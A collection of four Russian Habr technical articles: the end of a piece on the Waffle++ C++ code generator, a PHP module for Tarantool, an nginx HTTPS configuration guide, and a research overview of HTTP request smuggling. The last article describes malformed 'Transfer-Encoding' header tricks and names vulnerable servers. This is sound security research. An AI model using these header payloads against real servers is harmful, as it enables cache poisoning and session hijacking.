* [nlohmann/json](https://github.com/nlohmann/json) - работа с JSON (header-only библиотека). Шаблонизатор тоже зависит от этой библиотеки.
Самой важной библиотекой является LibClang. За ее счет происходит весь банкет, потому что она умеет парсить исходный код на C++ в *абстрактное синтаксическое дерево (AST)*, с которым удобно работать. Пример AST на коде с комментариями можно увидеть здесь - [godbolt](https://godbolt.org/z/dEqfcMc33).
Посмотрим на структуру `src/lib/` по отдельным библиотекам:
* `comment/` - вытаскивает doxygen-style комментарии, относящиеся к определению (класса/енама/функции и т.д.)
* `driver/` - здесь есть определение `int main()`. Разбирает аргументы командной строки, парсит файл, вызывает *доступные модули* для кодогенерации.
* `file/` - методы для создания генерируемого файла.
* `registry/` - макрос для регистрации модуля, хранилище модулей.
* `string_util/` - нехитрые строковые алгоритмы.
Интересно то, что количество "*доступных модулей*" зависит от того, как слинковать бинарник кодогенератора. Кодогенератор максимально модулизированный. Можно указать не все модули, тогда в бинарник неуказанные модули не попадут и их код вызываться не будет. Подробнее об этой схеме можно почитать [в блоге](https://t.me/cxx95/76).
Устройство кодогенератора: Отдельный модуль
-------------------------------------------
Теперь можно в `src/modules/` посмотреть на какой-нибудь один модуль. Структура у них одинаковая. Модуль можно написать как угодно, но лучше делать это в структурированном виде. Для примера возьмем `src/modules/google_mock/`:
* `template.cpp` - шаблон генерируемого файла. В нашем случае такой:
```
// Generated by the Waffle++ code generator. DO NOT EDIT!
// source: {{ source_file }}
#include
#include "{{ source\_file }}"
namespace Waffle {
## for struct in structs
class Mock{{ struct.name }} : public {{ struct.qualified\_name }} {
public:
## for method in struct.methods
MOCK\_METHOD({{ method.return\_type }}, {{ method.name }}, ({{ method.signature }}), ({{ method.qualifiers }}));
## endfor
};
## endfor
} // namespace Waffle
```
Этот типичный шаблон для шаблонизатора. Содержимое этого файла пойдет в качестве аргумента в библиотеку `inja`.
Как делается C++-строка из этого файла? Для этого в `CMakeLists.txt` вызывается наш метод `waffle_generate_template_data()`, который внутри себя вызывает утилиту [xxd](https://manpages.ubuntu.com/manpages/focal/man1/xxd.1.html), из-за чего получаем в глубине build-директории файл [template.cpp.data](https://gist.githubusercontent.com/Izaron/cd2640fd7770b537b6eaefda825888e4/raw/00cd836deef423895b8d8dbec27bf91faaccb283/template.cpp.data), с которым можно сделать так:
```
#include "template.cpp.data"
const std::string TEMPLATE{(char*)template_cpp, template_cpp_len};
```
* `common.h` - некие общие структуры. У google\_mock это всего лишь ссылка на объявление класса:
```
using StructDecl = const clang::CXXRecordDecl*;
using StructDecls = std::vector;
```
* `collector.cpp/.h` - сборщик данных. Также он должен вернуть список используемых команд (LibClang нужно об этом знать, без этого он не распарсит комментарии):
```
StructDecls Collect(clang::ASTContext& ctx);
std::vector Commands();
```
Исходник `collector.cpp` достаточно простой, мы используем `clang::RecursiveASTVisitor`, чтобы найти все классы помеченные командой `// @gmock`. В объекте `clang::ASTContext` содержится вся информация о распарсенном C++-файле.
* `printer.cpp/.h` - создатель генерируемого файла. Он берет `template.cpp`, заполняет json-таблицу, и пихает эти две штуки в шаблонизатор, и записывает получившееся в файл:
```
void Print(Context& ctx, const StructDecls& decls);
```
(`Context` это данные про текущий анализируемый файл)
```
struct Context {
IFileManager& FileManager;
std::string_view InFile;
clang::ASTContext& AstContext;
};
```
* `register.cpp` - регистрация модуля с названием `gmock`:
```
using namespace Waffle;
static void Do(Context& ctx) {
if (const auto decls = GoogleMock::Collect(ctx.AstContext); !decls.empty()) {
GoogleMock::Print(ctx, decls);
}
}
REGISTER_MODULE(gmock, GoogleMock::Commands(), Do);
```
### Устройство кодогенератора: Трехуровневое тестирование
Если не покрывать кодогенератор надежными тестами, то можно сломать что угодно любой строкой кода. К счастью, в этом кодогенераторе тестирование проходит в три фазы.
Чтобы дальше было понятнее, сначала посмотрим, как собирается бинарник `wafflec` со всеми модулями. Файл `src/bin/CMakeLists.txt`:
```
if(NOT DEFINED MODULES)
list(APPEND MODULES
data_class
enum_serializer
google_mock
json_dump
poly_ptr
rest_controller
signals)
endif()
include(waffle)
waffle_add_executable(wafflec "${MODULES}")
```
Понятно, что в тестах достаточно собрать бинарник только с одним модулем.
Посмотрим на структуру директории `src/modules/google_mock/test`:
* `CMakeLists.txt` - кодогенерация и сборка теста.
* `test.cpp` - юнит-тест с использованием кодогенерированных файлов.
* `turtle/turtle.h` - исходный файл.
* `turtle/turtle.gmock.h` - кодогенерированный файл.
Посмотрим по частям `CMakeLists.txt`:
```
# generate new files
include(waffle)
waffle_add_executable(google_mock_wafflec google_mock)
waffle_generate(
google_mock_wafflec
turtle/turtle.h
${CMAKE_CURRENT_SOURCE_DIR}/turtle/turtle.gmock.h)
```
Мы сделали бинарник `google_mock_wafflec` с одним модулем `google_mock`, и потом даем команду сгенерировать на основе `turtle.h` файл `turtle.gmock.h`.
Тем, кто непривычен к системам сборки (как CMake) нужно понимать, что "программирование" в системах сборки не императивное (как в языке по типу C++), а каузальное. То есть CMake описывает в основном не последовательность действий, а некие готовые "цели", которые могут по-разному зависеть от других "целей" (и вообще нетривиальным образом на все влиять).
Функция `waffle_generate` внутри себя задает такую каузальную связь, что файл `turtle.gmock.h` будет пересоздаваться каждый раз при изменении `turtle.h`, причем именно в стадии сборки. Это как раз то, что нужно от кодогенератора.
Обратите внимание, что в третьем аргументе мы явно задали префикс, куда хотим сохранить сгенерированный файл: `${CMAKE_CURRENT_SOURCE_DIR}`. Это значит, что файлы генерируются в директории исходников, и все их изменения попадут в дифф коммитов Git.
Можно задать префикс `${CMAKE_CURRENT_BINARY_DIR}`, тогда файл будет генерироваться только в директории сборки, и не попадет в сам репозиторий. Оба подхода хороши для разных кейсов.
```
# link new files with test
add_executable(google_mock_test
test.cpp
${CMAKE_CURRENT_SOURCE_DIR}/turtle/turtle.gmock.h)
target_link_libraries(google_mock_test gtest_main gmock_main)
```
Бинарь тестов `google_mock_test` зависит от `turtle.gmock.h`. Таким образом, при сборке "цели" `google_mock_test` будет запущен кодогенератор, если этого файла еще нет (или исходник `turtle.h` поменялся).
```
include(GoogleTest)
gtest_discover_tests(google_mock_test)
enable_testing()
```
Это стандартный boilerplate для всех тестов.
Таким образом, получаем трехуровневое тестирование:
1. Изменение шаблона, данных для него и т.д. - сразу отображаются на генерируемом файле в репозитории. Нельзя закоммитить, допустив какие-то нежелательные стилистические изменения.
2. Получившиеся `.h/.cpp`-файлы сразу компилируются. Нельзя закоммитить некомпилирующиеся сгенерированные файлы.
3. Сгенерированные файлы после компиляции проверяются в юнит-тестах. Нельзя закоммитить поломанное поведение у сгенерированных файлов.
Как использовать кодогенератор в своем проекте
----------------------------------------------
В данный момент Waffle++ пока не опробован в больших проектах, поэтому оптимальный метод подключения может измениться. В СMake подключить внешний проект можно кучей разных способов. Посмотрим, как это сделать со сборкой Waffle++ с нуля.
Сначала нужно в корневом `CMakeLists.txt` включить создание файла `compile_commands.json` в корне build-директории. В этом файле описываются все настройки, нужные для компиляции каждого `.cpp`-файла. Кодогенератор загружает этот файл, чтобы знать настройки компиляции.
```
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
```
Waffle++ можно загрузить прямо из GitHub:
```
include(FetchContent)
FetchContent_Declare(
waffle_plus_plus
GIT_REPOSITORY https://github.com/Izaron/WafflePlusPlus.git
GIT_TAG main
)
FetchContent_MakeAvailable(waffle_plus_plus)
```
Подключим его библиотеки, include-директорию (для статических header-ов) и cmake-скрипт с функциями:
```
include_directories(${waffle_plus_plus_SOURCE_DIR}/src/include)
add_subdirectory("${waffle_plus_plus_SOURCE_DIR}/src")
list(APPEND CMAKE_MODULE_PATH "${waffle_plus_plus_SOURCE_DIR}/src/cmake_scripts")
```
И теперь в вашем проекте в `CMakeLists.txt` какой-нибудь библиотеки можно использовать кодогенератор:
```
include(waffle)
waffle_generate(
wafflec # используется бинарь со всеми модулями, но можно сделать свой бинарь
piece.h
${CMAKE_CURRENT_BINARY_DIR}/piece.enum_serializer.cpp)
add_library(piece piece.cc board_piece.cc piece_registry.cc piece_or_empty.cc ${CMAKE_CURRENT_BINARY_DIR}/piece.enum_serializer.cpp)
```
Единственное - может потребоваться в корневом `CMakeLists.txt` "найти" LibClang:
```
# add Clang
find_package(Clang REQUIRED CONFIG)
```
That's all Folks!
-----------------
Кодогенератор можно развивать в разных направлениях:
* Расширения списка модулей - ORM для баз данных, рандомайзер структур, etc...
* Python-скрипт для создания своего модуля, чтобы не делать много ручной работы, [как сделано в clang-tidy](https://clang.llvm.org/extra/clang-tidy/Contributing.html#writing-a-clang-tidy-check).
* Доделывание фичей, фикс багов, патчи в Clang (там есть где доработать парсинг комментариев).
* Внедрение в существующие проекты.
* Файлы настроек у модулей - например, чтобы управлять стилем функций, названиями неймспейсов и т.д.
* Поддержка в разных системах сборки (кроме CMake) и ОС (кроме Linux).
* Интеграция с IDE.
... Все зависит от актуальности проекта в будущем.
РекламаПодписывайтесь на мой канал про C++ и компиляторы: <https://t.me/cxx95>, где я пишу контент, который, без ложной скромности, сложно найти где-то еще =)
Поставьте звездочку у [Izaron/WafflePlusPlus](https://github.com/Izaron/WafflePlusPlus), если вам интересно следить за проектом! | https://habr.com/ru/post/710744/ | null | ru | null |
# PHP модуль для Tarantool
[Tarantool](http://habrahabr.ru/search/?q=tarantool) это разработка компании Mail.ru. Представляет высокопроизводительное key/value no-Sql решение.Отсутствие портов для популярных языков программирования сдерживает популярность данной БД. Попытался восполнить данный пробел.
Ветка экспериментальная. [Исходники](http://github.com/akalend/tarantool/tree/master/connector/php)
Далее примеры.
###### Немного о самой БД
[Tarantoo](http://opensource.mail.ru/)l — это распределенное key/value хранилище.
Необходимо отметить, что Tarantool — это хранилище данных, а не система кеширования типа memcache. Все данные находятся в памяти и при необходимости сохраняются в файлах (снапах).
Данное хранилище, в отличие от традиционного memcached & redis хранилища имеет дополнительные возможности:
* наложение дополнительных индексов на данные
* индексы могут быть составными
* индексы могут иметь тип TREE или HASH
* осуществление выборок по одному или нескольким индексам
* изъятие данных частями (аналог LIMIT/OFFSET)
Tarantool оперирует данными, которые объединены в неймспейсы (namespace). Неймспейс — это аналог таблицы в MySQL. В системе организована цифровая нумерация неймспейсов (0, 1, 2, 3 ...).
На каждый неймспейс накладывается индекс. Индексы могут накладываться на числовое (int32 или int64) или символьное поле. Как упоминалось выше: индексы могут быть двух типов: HASH & TREE.
Так же как с неймспейсами, в системе определена цифровая нумерация индексов.
Все индексы прописываются в конфиге. Конфиг более менее человеко воспринимаем. Ниже в примерах будет использоваться следующий конфиг:
> namespace[0].enabled = 1
>
> namespace[0].index[0].type = "HASH"
>
> namespace[0].index[0].unique = 1
>
> namespace[0].index[0].key\_field[0].fieldno = 0
>
> namespace[0].index[0].key\_field[0].type = "NUM"
>
>
>
> namespace[0].index[1].type = "TREE"
>
> namespace[0].index[1].unique = 0
>
> namespace[0].index[1].key\_field[0].fieldno = 1
>
> namespace[0].index[1].key\_field[0].type = "STR"
>
>
>
> namespace[0].index[2].type = "TREE"
>
> namespace[0].index[2].unique = 0
>
> namespace[0].index[2].key\_field[0].fieldno = 1
>
> namespace[0].index[2].key\_field[0].type = "STR"
>
> namespace[0].index[2].key\_field[1].fieldno = 2
>
> namespace[0].index[2].key\_field[1].type = "STR"
>
>
>
> namespace[0].index[3].type = "HASH"
>
> namespace[0].index[3].unique = 0
>
> namespace[0].index[3].key\_field[0].fieldno = 3
>
> namespace[0].index[3].key\_field[0].type = "NUM"
>
>
Пояснение:
используется один неймспейс, namespace=0
Первый индекс=0, является всегда первичным. Тип индекса HASH, наложен на числовое поле=0.
Второй индекс=1, тип TREE, накладывается на поле=1, тип строка.
Третий индекс =2, составной, накладывается на поля 1 и 2
Четвертый индекс=3 — накладывается на числовое поле 3
###### Инсталляция
`1) качаем исходники:
** git clone git@github.com:akalend/tarantool.git
возможен переход в master https://github.com/mailru/tarantool.git
2) cd connector/php
3) phpize
4) ./configure
5) sudo make install
6) в php.ini в секции extension вставляем строку:
extension=tarantool.so`
###### Конструктор
> // constructor(host,port);
>
> $tnt = new Tarantool($host,$port);
>
>
Конструктор задает параметры соединения, Но само соединение происходит при первом обращении к данным.
Параметры **$host, $port** необязательные. Но умолчанию $host=127.0.0.1, $port =33013. Также в Tarantool имеется вторичный порт 33014, настроен только на чтение.
###### Вставка
Tarantool — оперирует порциями данных, именуемых кортежами.
> В математике корте́ж — последовательность конечного числа элементов
>
> В некоторых языках программирования (например Python или Lisp), кортеж — особый тип структуры данных
>
> ©Wikipedia
>
>
В РНР — корте́ж представлен как массив.
> $tuple = array(1, 'x','abd', 1023 );
>
> $res = $tnt->insert(0,$tuple);
>
> var\_dump($res);
Нулевой элемент массива вставится в нулевое поле данных.
Количество элементов массива может быть больше, чем кол-во индексных полей, Но в этом случае, выборка по этим полям будет невозможна. Если элемент уже существует, то он заменится на новый.
Результат true/false — результат выполнения операции INSERT
###### Выборка
выборка, аналогично интерфейсам РСУБД, осуществляется в два этапа: 1) оператор выбора рекордсета SELECT и 2) итерирование по выборки строк, в нашем случае кортежей/tuple
ниже пример:
> /\*\*
>
> \* Tarantool::select
>
> \*
>
> \* @param number namespace
>
> \* @param number index No
>
> \* @param mixed key
>
> \* @param optional limit default all
>
> \* @param optional offset default 0
>
> \*
>
> \* @return count of tuples
>
> \*/
>
> $count = $tnt->select(0,0,1); // namespace,index, key
>
> var\_dump($count);
>
> $res = $tnt->getTuple();
>
> var\_dump($res);
Приведенный пример выбирает данные из namespace=0, index=0, key=1. Результат метода Select — кол-во выбранных кортежей. Выборка производится по первичному ключу. В данном случае — будет выбран один кортеж методом getTuple()
Если мы должны выбрать несколько элементов данных, то необходимо организовать цикл:
> echo "some tuple select by fielNo[1] = 'x'\n";
>
> $count = $tnt->select(0,1,'x'); // namespace,index, key
>
>
>
> while( ($res = $tnt->getTuple()) != false){
>
> var\_dump($res);
>
> }
Если нужно выбрать по двум критериям, например аналог SQL оператора: SELECT \* FROM t WHERE f1='msk' AND f2='realty', то необходимо использовать составной индекс. В нашем примере — это index=2. Смотрим конфиг.
> echo "some tuple select by index = 2 (fielNo[1] = 'spb' and fielNo[2] = 'realry')\n";
>
> $count = $tnt->select(0,2,array('spb', 'realty')); // namespace,index, key
>
> while( ($res = $tnt->getTuple()) != false){
>
> var\_dump($res);
>
> }
>
>
Пример выборки по числовому полю(индекс=3)
> echo "some tuple select by index = 3 (fielNo[3] = 1025)\n";
>
> $res = $tnt->select(0,3,1025); // namespace,index, key
>
> var\_dump($res);
>
>
>
> while( ($res = $tnt->getTuple()) != false){
>
> var\_dump($res);
>
> }
>
>
Если нужно организовать выборку частями, то предусмотрены параметры LIMIT/OFFSET (аналочигные в MySQL). Ниже пример выборки 5-ти кортежей, начиная с 10-го в рекордсете.
> echo "some tuple select by index = 3 (fielNo[3] = 1025) NEXT 5 (offset=10, limit=5)\n";
>
> $tnt->select(0,3,1025,5,10); // namespace,index, key, limit, offset
>
> while( ($res = $tnt->getTuple()) != false){
>
> var\_dump($res);
>
> }
###### Изменение данных
В настоящий момент реализовано только два метода изменения данных: inc — увеличение данных, update — замена данных. Оба метода работают только по первичому индексу, т.е в качестве ключа используется только первичный индекс.
Рассмотрим более простой метод inc(). Данный метод увеличивает (по умолчанию на 1) поле типа NUM. На других типах полей возникнут ошибки.
> /\*\*
>
> \* Tarantool::inc
>
> \*
>
> \* @param namespace
>
> \* @param primary key
>
> \* @param field No for increment
>
> \* @param optional incremental data default +1
>
> \*
>
> \* @return bool result
>
> \*/
>
> // increment
>
> $tnt->inc(0,1,3);
>
>
>
> $tnt->select(0,0,1);
>
> $tuple = $tnt->getTuple();
>
> var\_dump($tuple);
>
>
Если хотим уменьшить на 1, то используем:
> $tnt->inc(0,1,3,-1);
Метод UPDATE отличается от INSERT тем, что UPDATE изменяет только необходимые нам поля данных, не трогая остальные. Метод INSERT — осуществляет, при наличие уже имеющихся данных первичного индекса все поля кортежа. Ближе к ~~телу~~практике:
> /\*\*
>
> \* Tarantool::update
>
> \*
>
> \* @param namespace
>
> \* @param primary key
>
> \* @param array of new data:
>
> \* array( fieldNo => newValue, ... )
>
> \*
>
> \* @return bool result
>
> \*/
>
> $res = $tnt->update(0,1,array(2=>'y'));
>
> echo "update tuple res=$res\n";
>
>
Второй параметр — это ключ выбора, третий параметр — это ассоциативный массив данных, которые необходимо заменить. Ключами массива являются числовые индексы, соответствующие номерам полей, которые необходимо заменить, на данные, которые соответствуют данным ключам.
###### Ограничения
пока реализовано только использование int32 индексов. int64 не реализовано.
не реализованы операции UPDATE/AND UPDATE/XOR
Надеюсь, что данный модуль будет полезен не только моему проекту. О замеченных багах прошу отписываться в личку, либо на страницу проекта. | https://habr.com/ru/post/122054/ | null | ru | null |
# Настраиваем HTTPS-сервер на nginx
Для чего я это пишу?
--------------------
В последнее время в связи с кучей факторов (АНБ, [DPI с рекламой](http://habrahabr.ru/post/190938/) и другое) у меня начала просыпаться паранойя и я подумал полностью перевести свой небольшой сайт на https. На хабре было [несколько](http://habrahabr.ru/post/188042/) [статей](http://habrahabr.ru/post/191954/) с техническими подробностями работы SSL/TLS, однако поискав информацию на тему настройки https-вебсервера обнаружил традиционное деление статей — либо это статьи «Делайте вот так», где просто даны настройки без каких-либо разъяснений и вариантов использования, либо это большие теоретические статьи, где обсуждаются различные схемы использования, но без практически применимых готовых вариантов. На хабре была [статья](http://habrahabr.ru/post/173125/) о настройке, однако в ней нет информации про DH-кодировки, да и некоторые параметры не описаны. Подумал, что стоит упорядочить найденное в виде статьи, которая будет полезна тем, кто хотел бы развернуть https у себя на сервере, но не слишком углубляться в дебри SSL.
Повествование будет вестись с учетом того, что веб-сервером выступает nginx (и в одном месте будет параметр для php-fpm).
Сертификат
----------
У меня уже был сертификат от StartSSL. О нем уже [писали](http://habrahabr.ru/post/127643/) на хабре, так что на этом шаге задерживаться не буду. Скажу только, что в течении первых двух-трех дней браузеры, проверяющие сертификат на сервере, могут на него ругаться (у меня такое происходило с Opera 12 и Firefox), видимо у StartCom кеши валидных сертификатов обновляются не так часто. Про установку же будет сказано ниже
О вариантах настройки
---------------------
Nginx из коробки в новых версиях предлагает практически актуальные, но все же требующие шлифовки параметры, однако актуальные параметры появились в стандартном конфиге не так давно, поэтому в некоторых случаях стандартный пример HTTPS-сервера в конфиге будет не актуален.
В общем случае есть два актуальных на данный момент варианта настройки — с Forward Secrecy и без него. При настройке различие только в наборе кодировок (директива ssl\_ciphers), однако тут стоит задуматься, что же вы хотите от https.
О Forward Secrecy можно почитать скажем [тут](http://habrahabr.ru/post/188042/). В двух словах, суть заключается в том, что для актуального на данный момент алгоритма RC4 ключи сессии генерируются на основе приватного ключа сервера. Таким образом, если приватный ключ будет скомпрометирован, появится возможность расшифровать все сессии (если они были записаны). В случае же использования DH-кодировок, каждая сессия имеет свой набор ключей, которые сессии никак не зависят от приватного ключа. Однако в этом случае тратится гораздо больше процессорного времени на хендшейк, что увеличивает нагрузку и время открытия страницы.
Тут стоит задуматься, для чего нужен https конкретно у вас на сайте. При большом количестве посетителей использование DH-алгоритмов шифрования может прилично увеличить нагрузку (которая в любом случае повысится при переходе на HTTPS), в некоторых случаях придется увеличить тариф на VDS и т.п. В большинстве случаев RC4 достаточно, однако многим хочется чтобы все было «по высшему классу», так почему бы не сделать, если ресурсы позволяют?
Настройка nginx
---------------
В результате настройки у меня сформировался приблизительно такой конфиг, суть параметров поясню ниже.
В секции http необходимо добавить:
```
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;
ssl_prefer_server_ciphers on;
ssl_stapling on;
resolver 8.8.8.8;
```
Секция server же получится приблизительно такая:
```
server {
listen 443 ssl;
server_name www.site.ru;
.......
keepalive_timeout 60;
ssl_certificate certificate_bundled.crt;
ssl_certificate_key privatekey.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers "HIGH:!RC4:!aNULL:!MD5:!kEDH";
add_header Strict-Transport-Security 'max-age=604800';
.......
location ~ \.php$ {
.......
fastcgi_param HTTPS on; # Для php-fpm
.......
}
}
```
В данном примере не используются DH-алгоритмы, т.е. нет Forward Secrecy. Из улучшений тут можно опустить поддержку SSLv3 (убрав его из ssl\_ciphers), таким образом перестанет поддерживаться IE 6 и ниже, поскольку он не поддерживает TLS, а так же увеличить время STS, но об этом ниже.
Без SSLv3 такая настройка дает оценку 100-95-100-90 [в тесте SSL](https://www.ssllabs.com/ssltest/index.html).
### Пройдемся по параметрам
**ssl\_session\_cache shared:SSL:10m;
ssl\_session\_timeout 5m;**
«Задаёт тип и размеры кэшей для хранения параметров сессий.» (nginx.org) Кеш необходим для возможности повторного использования ключей сессии, таким образом при установлении нового соединения будут использоваться старые ключи, т.е. не будет повторно производиться хендшейк. Особенно актуально при использовании кодировки DHE (например в бразуере Opera 12), поскольку время загрузки страницы со всеми элементами сильно увеличивается при отсутствии кеша, а DHE еще и использует больше ресурсов и времени (относительно EECDH и RC4). Параметр shared задает общий для всех рабочих процессов nginx кеш, 10m — объем кеша (10 МБ, при этом 1 МБ~4000 сессий, таким образом при этих настройках можно хранить до 40 тысяч сессий), 5m — таймаут сессии в кеше (5 минут).
**ssl\_prefer\_server\_ciphers on;**
«Указывает, чтобы при использовании протоколов SSLv3 и TLS серверные шифры были более приоритетны, чем клиентские.» (nginx.org) — клиентские шифры (CBC) уязвимы к некоторым типам атак.
**ssl\_stapling on;**
Позволяет серверу прикреплять OCSP-ответы, тем самым уменьшая время загрузки страниц у пользователей. ЗДесь имеются ввиду ответы о валидности сертификата (при проверке на отозванность). С точки зрения безопасности пользователя не важно, кто передает ответы — веб-сервер или сервер CA — ведь ответ в любом случае подписан и валидность ответа тоже можно проверить, а ответ включает в себя свой срок действия.
Для работы этой функции нужно указать DNS-сервер, что и делается директивой resolver.
**keepalive\_timeout** — думаю в описании не нуждается, не стоит выключать или ставить слишком малым для уменьшения нагрузки из-за повторного установления соединения.
**ssl\_certificate** и **ssl\_certificate\_key** указывают на файл сертфиката и файл приватного ключа для него. Так как я рассказываю на примере сертификата от StartSSL, то здесь допущу небольшой комментарий относительно инструкций StartSSL по установке сертификата — не нужно добавлять сертификат Root CA в обобщенный файл сертификата, поскольку это не имеет смысла и только увеличивает, хоть и не на много, размер передаваемых данных. Достаточно иметь в файле последовательно личный сертификат и сертификат промежуточного центра сертификации. Готовый файл сертификата для nginx (для сетификата StartSSL) можно получить следующей командой:
```
cat certificate.crt sub.class1.server.ca.pem > certificate_bundled.crt
```
Где ваш сертификат — certificate.crt, а промежуточный сертификат — [www.startssl.com/certs/sub.class1.server.ca.pem](https://www.startssl.com/certs/sub.class1.server.ca.pem)
**add\_header Strict-Transport-Security 'max-age=604800';**
Strict-Transport-Secutiry — заголовок, указывающий браузеру на то, что сайт доступен только по https. Это предотвращает возможность перехода обратно на http-версию для последующей атаки через незашифрованное соединение. Кстати данный параметр еще удобен тем, что при наличии в коде страницы «забытого» подключения ресурса (картинки/скрипта/стиля/...) с того же сайта по http, браузер сам пойдет на https-версию и не будет ругаться на частично незашифрованное соединение. Конечно же это не сработает для внешних ресурсов. Время — неделя. Многие рекомендуют ставить 1 год, однако в случае решения в будущем отказаться от использования https это может доставить проблемы некоторым пользователям. Время обновляется при каждой передаче этого заголовка, т.е. при каждом заходе на сайт.
**ssl\_protocols TLSv1 TLSv1.1 TLSv1.2;**
Указывает поддерживаемые протоколы. SSLv2 и v3 имеют критические уязвимости.
**ssl\_ciphers «HIGH:!RC4:!aNULL:!MD5:!kEDH»;**
Указывает используемые шифры. Собственно за счет изменения набора шифров и настраивается Forward Secrecy. От стандартного набора, предлагаемого nginx, отличается только параметром !kEDH,
Forward Secrecy
---------------
Для включения Forward Secrecy можно использовать например такой набор шифров:
```
ssl_ciphers "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA !RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS";
```
Кроме того, необходимо настроить приоритет шифров OpenSSL:
```
openssl ciphers -V 'EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA256 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EDH+aRSA EECDH !RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS'
```
В данном варианте не запрещается использование RC4 для сохранения совместимости с некоторыми браузерами, однако не так давно [обнаружились уязвимости и в нем](https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what), хоть и практически трудно реализуемые.
Для усиления шифрования можно увеличить стойкость DH-шифров, создав файл параметров DH-шифров (создание файла займет некоторое время!), скажем длинной 4096 бит:
```
openssl dhparam -out dh4096.pem 4096
```
И добавив в конфиг nginx директиву
```
ssl_dhparam dh4096.pem;
```
Это можно делать для скажем для веб-интерфейсов управления сервером/службами, однако хендшейк будет происходить еще дольше, поэтому не стоит делать это на обычном сайте.
### Про CDN-сервисы
В обсуждении [инструкций по настройке](https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy) Forward Secrecy было замечено, что по крайней мере CDN Amazon CloudFront не поддерживает обмен с вашим сервером в DH-кодировках, да и RC4 вроде тоже, что не радует. Возможно что и с другими CDN тоже не все идеально, но я лично пока с ними не сталкивался, поэтому ничего сказать не могу.
### Полезные ссылки
[Тестирование настроек https-вебсервера](https://www.ssllabs.com/ssltest/index.html)
[Настройки Apache и nginx для Forward Secrecy](https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy) | https://habr.com/ru/post/195808/ | null | ru | null |
# HTTP Request smuggling — новые подходы
7 октября 2019 года директор отдела исследований PortSwigger (производителя BurpSuite) опубликовал [исследование](https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn) о новых подходах к HTTP Request smuggling. С их помощью он заработал на bugbounty около $70000. В этой заметке мы коротко выясним суть атаки, инструментарий, а также методики исследования веб серверов, подверженных этой уязвимости.
#### Что такое HTTP Request Smuggling
HTTP Request smuggling — атака, направленная на рассинхронизацию frontend веб-сервера и backend веб-сервера, в результате чего злоумышленник может "контрабандой" пронести HTTP запрос мимо Frontend сервера. Картинка из оригинальной статьи служит хорошей демонстрацией:
Подобная атака может привести к самым различным последствиям — внедрению XSS в сессии других пользователей, редиректу пользователей на сторонние ресурсы, отравлению кэша сервера, подобию SSRF и ряду других.
В инкарнации HTTP Smuggling 2019 года Джеймс Кеттл эксплуатировал некорректную обработку веб-серверами заголовка
```
Transfer-Encoding: chunked
```
сообщающую, что тело сообщения будет передано частями ([RFC](https://tools.ietf.org/html/rfc2616#section-3.6)). Из-за того, что некоторые веб-серверы не поддерживают chunked передачу, либо по-разному обрабатывают заголовок, frontend будет "видеть" только один запрос, а backend его распознает как два. Более подробно с деталями атаки можно ознакомиться в [оригинальной статье](https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn), там же есть практическое задание, на котором можно потренироваться находить уязвимость вручную.
Для быстрого поиска Джеймс разработал [плагин](https://github.com/portswigger/http-request-smuggler) для BurpSuit, на вход принимающий запрос, а на выходе создающий отметку об уязвимости сервиса (если таковая найдется).
#### Примеры уязвимых веб-серверов
Нужно сказать, что проблематикой smuggling и других уязвимостей, связанных с работой веб-серверов давно занимается другой исследователь под ником [regilero](https://regilero.github.io/). За последние три года он опубликовал три статьи, описывающие найденные им уязвимости в популярных веб-серверах, большинству из которых присвоены CVE средней и высокой степени критичности. В числе уязвимых серверов — Apache Traffic Server, Jetty, Apsis.
На волне интереса к проблеме, другой исследователь — Nathan Davison, [обнаружил](https://nathandavison.com/blog/haproxy-http-request-smuggling) уязвимость в HAProxy, который игнорировал некорректно сформированный заголовок
```
Transfer-Encoding:[\x0b]chunked
```
и преобразовывал его в следующий вид:
```
Transfer-Encoding:
chunked
```
Но backend сервер — gunicorn, проксирующий приложение на Flask, заголовок считывал, что и провоцировало уязвимость.
Несколько позже ряд других исследователей обнаружили [уязвимость](https://groups.google.com/forum/#!msg/golang-announce/cszieYyuL9Q/g4Z7pKaqAgAJ) (присвоена CVE-2019-16276) в реализации http сервера golang — сервер нормализировал заголовок, если перед доветочием стоял пробел.
Запрос:
После обработки сервером:
Уязвимость могла быть проэксплуатирована в случае, если frontend сервер игнорировал заголовок с пробелом, и использовал Content-Length для подсчета размера запроса.
Веб-сервер Caddy, написаный на Go, также был уязвим, поскольку использовал ту же самую библиотеку net/http. Разработчики [подтвердили](https://github.com/caddyserver/caddy/issues/2777#issuecomment-536589267), что после обновления GO и пересборки пакета, проблема исчезает.
Автор данной статьи нашел аналогичную [проблему](https://redmine.lighttpd.net/issues/2985?issue_count=2&issue_position=1&next_issue_id=2984) в сервере lighthttpd (CVE присвоена не была). На скриншоте видно, что сервер принимает и обрабатывает заголовок, содержащий пробел:
Разработчики не совсем согласны с RFC 7230 (да и автор тоже), и считают что ответственность за некорректную обработку заголовков лежит на прокси, которые пересылают запросы без их нормализации и проверки. Тем не менее, в новом релизе баг будет пофикшен:
> By default, lighttpd parses (and normalizes) requests before reverse-proxying them to backends. Doing so thwarts the attacks mentioned in <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn> to servers upstream from lighttpd.
>
> However, as mentioned by stbuehler above, proxies downstream from lighttpd might pass anything to lighttpd.
>
> The change that will be made in the next release of lighttpd will be to reject requests with space or tab after field-name and before the colon, but only when lighttpd is configured in the (default) mode of strict http header parsing.
Такой же баг [обнаружен](https://github.com/cherrypy/cheroot/issues/230) в веб сервере cheroot, используемом фреймворком cherrypy. Этот мини-фреймворк встречается в стартапах, его часто используют для написания API. Баг-репорт висит в статусе opened.
